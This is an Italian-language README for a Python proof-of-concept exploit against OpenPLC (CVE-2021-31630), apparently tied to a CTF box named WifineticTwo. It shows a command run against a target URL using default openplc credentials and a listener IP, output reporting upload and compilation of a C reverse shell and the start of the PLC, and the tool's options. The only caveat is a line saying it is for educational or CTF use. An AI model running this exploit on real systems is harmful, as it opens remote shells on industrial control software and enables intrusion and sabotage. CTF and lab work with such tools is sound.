
Exploit POC per CVE-2021-31630 scritto in Python3 e che utilizza una reverse shell in C con modalità non bloccante
Questo exploit si basa sull'exploit di Exploit-DB realizzato da Fellipe Oliveira.
└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.
python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>
Opzioni:
--url - URL dell'OpenPLC--username - nome utente--password - password--listenerip - indirizzo IP del listener--listenerport - porta del listenerNOTA: Questo exploit è creato come PoC; usalo solo per scopi educativi o CTF - https://flojboj.org/article/WifineticTwo